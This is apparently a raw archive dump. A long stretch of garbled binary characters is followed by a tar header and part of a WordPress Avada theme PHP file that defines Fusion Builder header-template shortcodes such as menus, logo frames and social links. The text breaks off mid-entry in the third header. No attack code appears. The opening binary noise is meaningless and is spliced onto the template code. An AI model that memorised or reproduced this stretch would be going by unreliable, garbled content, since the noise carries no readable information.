\d]d~g4,nײ)&z2Ej\TUbhQ%dVY[\I'LJf%lr*Zi,eI1m}|]f-dlh㢪jyX# \If2(ob&#k)[&>KlڽC3crfV^n[|K9trw{KD NIL8rWaAڑ*bNUYs[I%F`|.s\Hǁg)6wpx˛cieGsUUzQ4A'oQ3v d6]$0IiXU`XjFV/-0kiu%0g"-TGM>W2G+\+U+JЗ帍J^{i%ͫV=۝+7oz*dk4}+v,lm[Y$Ζ+jǁρ+DTV{k.ڑ)hE(T.E ~~7sUJS:܆{=WIFFccQjfҶ̼5 3i3[˛N{i瑭Fb{ǫUZG`skM&b;;P|eFn&&5b#*+Ȉ|GFș >}gvbb$̒GMWX\^w+rz>[K]9#]Z䍱 Y"O(l{7e1eu1O_"FZ4&% LRϾgxo/[7ZVMӯS1_+N.疟Gx\/R"VsزR=AnՇ &jīz}UPwpY,~_eLw9nw1ԖV^e Ou%sZI.@ګasZkۅbUNRF.r1p_|mVUXf5v Qˋˢ*RvWz(P @(P @(P @(P @(P @(P @(P @(P @(Q]^@5VuoA)4q٭} Qvk_Co@Dw(f1F 4Gq٭} Qvk_Co@Dw(f1F 4Gq٭} Qvk_Co@Dw(̘ؔcQXePP @(P @(P @(P @(P @(h n۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^kn۱z@}^k ]߯̽;e_zv~2~e-[l/@o^߯̽;e_zv~2~e-[l/@o^߯̽;e_zv~2~e-[l/@o^߯̽;e_zv~2~e-[l/@o^߯̽;e_zv~2~e-[l/@o^߯̽;e_zv~2~e-[l/@o^߯̽;e_zv~2~e-[l/@o^߯̽;e_zv~2~e-[l/@o^߯̽;e_zv~2~e-[l/@o^߯̽;e_zv~2~e-[l/@o^߯̽;e_zv~2~e-[l/@o^߯̽;e_zv~2~e-[l/@o^߯̽;e_zv~2~e-[l/@o^߯̽;e_zv~2~e-[l/@o^߯̽;e_zv~2~e-[l/@o^߯̽;e_zv~2~e\d$o+@?Ih"@mzzzzzzz9^UuSF8SWcZ:Z&=*',=S WStG~'ciN',=Su;OXz w;;xOOwv>>!a+}|B?WS ?߉@|# T]N4G~+gokѩ|IF+8QR:׫ U^ сzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz NG#M4pC$##4ѭLK!.Q|:~#.G̞xt2xGN0?a|:K'#.G̞xt2xGN0?a|:K'#.G̞xt2xGN0?a|:K'#.G̞xt2xGN0?a|:K'#.G̞xt7Y ]EgopO;5cz"|j35 c<"'l@^VNS n27[Gh̀M@Q&s (uv ;Dndn27[Gh̀M@Q&s (uv ;Dndn27[Gh̀M@Q&s (uv ;Dndn27[Gh̀M@Q&s (uv ;Dndn27[Gh̀M@Q&s (uv ;Dndn27[Gh̀M@Q&s (uv ;Dndn27[Gh̀M@Q&s (uv ;Dndn27[Gh̀M@Q&s (uv ;Dndn27[Gh̀M@Q&s (uv ;Dndn27[Gh̀M@Q&s (uv ;Dndn27[Gh̀M@Q&s (uv ;Dndn27[Gh̀M@Q&s (uv ;Dndn27[Gh̀M@Q&s (uv ;Dndn27[Gh̀M@Q&s (uv ;Dndn27[Gh̀M@Q&s (uv ;Dndn27[Gh̀M@SXn.YkUgvx O%rʚ4k[39|*5j9(2j܋Rfytlc争1F{QM:P0OS^䕷1,p6e*^=al#w{ЫDN{LNFZ6J cf5f$ƉUmt]lhAKaޢܲh=ͦX͏~r Q;Ӯͯu6&,1["1VTng O~+wG.H"-t[[c>oZɮݺ&bƏp1S'a^qC};-k"f=dF RҜO7*'Q#]+jWP>\f=,βwfwl}źHŒ6*"WMGe$?0fgjޑt1ck֔jEZ0#q~C-ofI巂I=X*QiR靜Yo\Go4O[E4,Y&%\U'Enl4NGhZ*U9DDXحG\,ETErҴMkD $#Q̮EUO2==yO2XRi×6^E~Y^&brWԫ =Iļ:I;^ĮV%=ڽUn*ҨhI,ܒuIV(edQj[{Ix$HF*G=fZ*!gb2W\_vOc71{7t>"6jv2l~{qdkJ,Wy8jEOƹ_'⼁oKG*@&%TČaU[iK3bL[Jzp"`n'-ѥ3|[5̳I [pQȋHW jrf/[Iu"s2"ŽDW$bCH--Y.0Vr"%ZF\V"k*:_, &b#6>8S,Z(('L17{Ȧ}[X%.|v%4"~4EE*V6%VpDkhrVH~[w$kf{[G|՞I{U$wc50+/K20՞qqVvvSo| ymcc]$lחgr{qSw{5%W[$.ĨCUZ? 71ahY5ڜcKf5vc^zq WQUst&C{$m6kvŞQsU$JW+<ܗDP'1/Esqw%#"=5sXO-9FwSIRBqo+nk-i{5shr#V+Rcg7ys_7jgW< C^<G/TkRJ^*7KS¢v$g a_OJjX؝*^4h7KykcuDjfʒ:oHfFA-Žw|Mk9ZY +IbFbn)!m˄+uUkU7;"#jC35½s!jdcQb+TW5*\Z e3ROFj#GmcZv[l č{I7媮7Uk DTSO)obTE* nb٪W=Z+֯r&%,&8xhG5Z_IX'qp17d[1lo-<5D%Itx e7g{9q$6C,Ntʳ6bG}JUglw*H>.8G.俰Us\I#|IyDe;;}$]Ee3mV:'XіJzDDf&ϔMWVٖpդR9fײaU(>oS1L|<3qr˘֒V]QꉭMLGc'5[|irռ+wrG%GYO $l#"9ǪەU{o7Ṉ@{3jgFcjtEO 1zTr{L E3 wn;(ww&HX9S;A6UvTG+W T7ۥH"YQA Lp־V ZE^AW]3g +Qkk2tG=qƨraxmablmq1TTZ9M(4QP0˲,aVFG)qI#1=J2x%0sU  R$\dn*vFTjbLtU"xw3?ݫ&ozo ugy<Aq_+l$ cɉNRDתy?9\r܃.I!TˣdKw3enr#|KgqSsVre ${lRѬӉ9(;?' ]˓Xez"s,:*B]gM_I˳g)so8B?ۻ+ȭ๶v=y]M)ˤ^312n፸;[]bUj٫V Hďң̢|i˿HH3 c=Ӣ{qBr1[)ZR o=yj3cQm2,elR:(6ϼksGZŊ,M+өU\4+ln;^ie5Vv5>خc5ڹ]qQG@b{^,^MhklWX]#,ue]x=n^-0:5b5Y֮.$NDs_1˩1>\9ݼP^#--kX%I77J6aG2*`ӧ§h5S1>cȉ\D;Ӛ+lkr-.q&*jFQ䭱>~q1IĹ/l߹v_+on,IVHcW5EzEn왟_c'?q<1$ Kxs`SW9~pu_LN؎s)n kI3g]:iFz+ʚhge=^nQk7amHV^cl[7/Hk)1>؟s1Uɏzx#<[k[YuAtq=%-MՑl~Z*նM^cNW/3u][YG`l,咾vUUUY~T.Sre@ ,0ebsZא]?t'br%tM \pFv,LndLl9:XcW 9&on1OpDe= -8ϑWMU;bD{.&;s>݆YsfȑJۗZGD#d\+JhOy3j?g ?GkanۻkyG1ώ, &$ZjRj2;LÅ8n$T*,S(bJڟA9Qqk%ᳱkmywȠEBI }$(vWs+\7=FmvEsTy\?5{/-+\]A 71qps|6(%c՗B'&vǧQeyM/sbt?2I.Tln c_5Uۇ+ !lOf4i;T"yP>O*E*%Kx28 -}Z[GY$N| )6w۳Eݷ˞UV;i-in뻛&=,Hǫ{sy)͜ۿo:RxVd8&K|wpG (Ub335gH SwYdWO;,qF$r1zj)1vN2 vRhڮd‘#nL\+b:S.sMj#ZƣQЈxDC]՜,F\+VrxjNRLZKk15(֦DME")P>.͌2{g|NFHVǮZm{)Y޾;TGD+؛&"bc=Lfbb{hg^v;@%7gGLzĸWEËB%iR7|SxSxC:He]XǖHx־W.VV+DLDp؜r#XúqdZ)76?*Y[.7\5ӡptX\s 0)ߥWC+dՖs^=ҏ*.bk:r%{v]A)lڱ`X%޿r"Jbjb{9VI^3Hw_Hy"hU/3^HV\-S}gTOjXe\ -Q2eI-{.!d"zaU])B)^{᲼؟r,LѓEohK40o F7|rVs[E+JdKYm 6\o.ʔW+]JBLZhP7? ^61V#V}m\TEr/1bwG \7J>mgwbXwɝpL{DtNJбyWd1.Z}{axJXJU{_F9UpqMwV9V$F&_;s+?ԩ7½.+UHR59yS(lGǽc͗dC,2\֫gI*C#RZŠWž3YeyLdbd9WQGh5[WKm#f'1f &{V#*♜n<ؙhmaf8狀sQa"{Z\hWLqݔzeoO*AٕZݣ&Y(ncs$#Q&>#9z9Dǽ+xZE~/5fiwu/\\*S;rT;g?79١=FdE{\5lDyJݷ ,kkY\+]k*"#_0O)[c{o-2R8"{XI?Z{DߟQ"a ϙu47 I`8QW"Imq-Q;&>:O: S3>ve/e9m6;n𢲭ڡcdLGwY7P)*O*L?i43БG{^U _򿉞7|tƾ x ݌uVйeӢ{!{^sj5.;&lR-\>ֱ7Wy#wWX8tU|TmTEz;|ӲcoFqwww,W06F+U\/Uk<ғgꙕs;{n/Kp눥k&ɡtxL <)bk+k;wf -ompG꼺qbřUf1b?qoŚYBk]_(!V^ڪ󈍭ڲρ;6uڞod2%uL[&="Z஖xTMyG&y/m=lon׮_)i5No(+wg o'[ji[&^n^"cs%Uy3ی\fQw%K Q*vƲ”5W3)5 Z p\p)éoS'HlNN؝ ;|::@vu;btvéoS'HlNN؝ ;|::@vu;btvéoS'HlNN؝ ;|::@vu;btvéoS'HlNN؝ ;|::@vu;btvéoS'HlNN؝ ;|::@vu;btvéoS'HlNN؝ ;|::@vu;btvéoS'HlNN؝ ;|::@vu;btvéoS'HlNN؝ ;|::@vu;btvéoS'HlNN؝ ;|::@vu;btvéoS'HlNN؝ ;|::@vu;btvéoS'HlNN؝ ;|::@vu;btvéoS'HlNN؝ ;|::@vu;btvéoS'HlNN؝ ;|::@vu;btvéoS'HlNN؝ ;|::@vu;btvéoS'HlNN؝ ;|::@vu;btvéoS'HlN S NAvada/headers/default-headers.php000064400000313727152342437710012766 0ustar00 'Header 1', 'image' => $preview_image, 'position' => 0, 'content' => '[fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="stretch" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" padding_top_small="20px" padding_bottom_small="20px" z_index="152" type="flex" background_color="#ffffff" padding_top="0px" padding_right="30px" padding_bottom="0px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="1_4" type="1_4" layout="1_4" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" first="true" spacing_right=""][fusion_imageframe image_id="" max_width="140px" sticky_max_width="" style_type="" blur="" stylecolor="" hover_type="none" bordersize="" bordercolor="" borderradius="" align_medium="none" align_small="none" align="none" lightbox="no" gallery_id="" lightbox_image="" lightbox_image_id="" alt="" link="" linktarget="_self" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfbG9nbyIsInR5cGUiOiJhbGwifSwibGluayI6eyJkYXRhIjoic2l0ZV91cmwifX0=" margin_top="" margin_bottom="" /][/fusion_builder_column][fusion_builder_column type="3_4" type="3_4" layout="3_4" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" first="false"][fusion_menu menu="main-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="500" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="100px" sticky_min_height="" align_items="stretch" justify_content="flex-end" font_size="" text_transform="none" items_padding="" gap="" transition_type="fade" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="" border="" border_color="" active_border="" active_border_color="#65bc7b" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="small" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="Go to..." collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="" items_padding_bottom="" active_border_top="3px" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="0" submenu_border_radius_top_right="0" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="3px" mobile_nav_trigger_bottom_margin="20px" items_padding_right="25px" items_padding_left="25px" mobile_trigger_font_size="25px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]', ]; $demos['header-2'] = [ 'name' => 'Header 2', 'image' => $preview_image, 'position' => 'calc( 100% / 15 )', 'content' => '[fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" background_color="#ffffff" padding_top="0px" padding_bottom="0px" border_color="#65bc7b" border_sizes_top="5px" type="flex" padding_right="30px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="4_5" layout="4_5" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" first="true" spacing_right="" type="4_5"][fusion_text columns="" column_min_width="" column_spacing="" rule_style="default" rule_size="" rule_color="" font_size="14px" line_height="" letter_spacing="" text_color="" content_alignment_medium="" content_alignment_small="" content_alignment="left" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" fusion_font_variant_text_font=""]Call Us Today! 1.555.555.555[/fusion_text][/fusion_builder_column][fusion_builder_column type="1_5" layout="1_5" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" first="false" type="1_5"][fusion_social_links font_size="" icons_boxed="" icons_boxed_radius="" color_type="" icon_colors="#333" box_colors="" tooltip_placement="bottom" blogger="" deviantart="" discord="" digg="" dribbble="" dropbox="" facebook="#" flickr="" forrst="" instagram="#" linkedin="" mixer="" myspace="" paypal="" pinterest="" reddit="" rss="" skype="" soundcloud="" spotify="" tiktok="" tumblr="" twitch="" twitter="#" vimeo="" vk="" wechat="" whatsapp="" xing="" yahoo="" yelp="" youtube="#" email="" show_custom="no" alignment="right" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container][fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="stretch" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" padding_top_small="20px" padding_bottom_small="20px" border_sizes_top="1px" border_color="#ededed" z_index="152" type="flex" background_color="#ffffff" padding_top="0px" padding_right="30px" padding_bottom="0px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="1_4" layout="1_4" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" element_content="" first="true" spacing_right="" type="1_4"][fusion_imageframe image_id="" max_width="140px" sticky_max_width="" style_type="" blur="" stylecolor="" hover_type="none" bordersize="" bordercolor="" borderradius="" align_medium="none" align_small="none" align="none" lightbox="no" gallery_id="" lightbox_image="" lightbox_image_id="" alt="" link="" linktarget="_self" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfbG9nbyIsInR5cGUiOiJhbGwifSwibGluayI6eyJkYXRhIjoic2l0ZV91cmwifX0=" /][/fusion_builder_column][fusion_builder_column type="3_4" layout="3_4" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" first="false" type="3_4"][fusion_menu menu="main-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="100px" sticky_min_height="" align_items="stretch" justify_content="flex-end" font_size="" text_transform="none" items_padding="" gap="" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="" border="" border_color="" active_border="" active_border_color="#65bc7b" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="small" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="Go to..." collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="" items_padding_bottom="" active_border_top="3px" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="0" submenu_border_radius_top_right="0" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="3px" mobile_nav_trigger_bottom_margin="20px" items_padding_right="30px" items_padding_left="30px" mobile_trigger_font_size="25px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]', ]; $demos['header-3'] = [ 'name' => 'Header 3', 'image' => $preview_image, 'position' => 'calc( 200% / 15 )', 'content' => '[fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" 